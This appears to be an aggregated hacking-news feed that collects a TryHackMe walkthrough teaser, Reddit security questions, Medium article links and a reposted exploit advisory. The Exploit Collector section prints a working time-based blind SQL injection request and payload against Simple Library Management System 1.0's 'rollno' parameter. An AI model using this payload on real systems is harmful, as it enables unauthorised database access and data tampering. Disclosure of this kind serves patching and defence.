Hacking Articles
Kenobi TryHackMe Walkthrough

Today it is time to solve another challenge called “Kenobi”. It is available at TryHackMe for penetration testing practice. The challenge is an easy difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The breakdown of the Machine

The post Kenobi TryHackMe Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hide and compress your strings in executables and code using Unishox

C Library:

https://github.com/siara-cc/Unishox

Javascript Library:

https://github.com/siara-cc/Unishox_JS

submitted by /u/siara-cc
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can I get hacked through an imgur link ?

Some random 0 karma account just dmed me an imgur link after asking "can you guess my ethnicity". So is it possible to hack through Reddit imgur links ?

submitted by /u/Jager_21
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Harassment Calls

Hey everyone, how do I find out a private number? I have had a private number ring up and harass me, I think it could be someone I know. I am in the UK.

submitted by /u/Sea_Education8975
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How bad is Public Wifi with a VPN?

I see commercials about NordVPN and such saying how you can use public wifi without the fear of sniffing. Is this really the case? I know "pineapples" are always a thing, but if I had a correctly set up VPN, what are the chances that it would be compromised over public wifi?

submitted by /u/Snoo-33445
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What level of understanding of an attack should I have before moving on

I just successfully completed my first attack ever and I’m super excited(wpa2 handshake on old router I have). However I know it’s important to keep myself in check so I fully understand the attack. I know what each command does and why I do them, and I know what should be done to defend from this, but should I have a deeper understanding before moving on?

submitted by /u/TheCaffienatedOne
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MobileTogether Server 7.3 XML Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Library Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Simple Library Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 60e752054917c90f54824dc1de852737

Download
# Exploit Title: Simple Library Management System 1.0 - 'rollno' SQL Injection
# Date: 2021-08-08
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.nikhilbhalerao.com/
# Software Link: https://www.sourcecodester.com/php/14126/simple-library-management-system.html
# Version: V1
# Category: Webapps
# Tested on: Linux/Windows

# Description:
# PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# Vulnerable Request:

POST /registration_authenticate.php HTTP/1.1
Host: localhost
Content-Length: 320
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/registration.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

rollno=000001&fname=Halit&mname=&lname=AKAYDIN&branch=&sem=&dob=&semail=hltakydn%40pm.me&gender=&bg=&contact=&address=&pass=123456&cpass=123456

# Vulnerable Payload:
# Parameter: rollno (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:
rollno=ybGo' AND (SELECT 2194 FROM (SELECT(SLEEP(10)))IICl) AND 'vivZ'='vivZ&fname=Halit&mname=&lname=AKAYDIN&branch=&sem=&dob=&semail=hltakydn%40pm.me&gender=&bg=&contact=&address=&pass=123456&cpass=123456

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

GCP Inspector | Auditing Publicly Exposed GCP Bucket

Installation of GCP Inspector and basics about enumerating publicly exposed GCP buckets.
Read more...

Joining any class without the teacher’s invitation in Khan Academy

Hi There,
Read more...

Hacking on Medium
Is Blockchain really safe? 51% attack and Bitcoin SV (BSV)example

https://cdn-images-1.medium.com/max/1069/1*epqVmkoTeYLd9w4nIU-LKA.jpeg
In my previous article, I have mentioned that Blockchain is a technology that is known to be safe and cannot be altered because it is a…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Los usuarios pueden ser tan peligrosos como los piratas informáticos.

https://cdn-images-1.medium.com/max/911/0*KIGxy7eUz1-KCIjS
POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Perils of Using Free VPN Service

https://cdn-images-1.medium.com/max/1280/1*dz8UwihNLEN2Tjda3I3iCw.jpeg
In the era of unprecedented cyber advancements and the new needs arising every other day, people have resorted to the use of VPN (Virtual…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video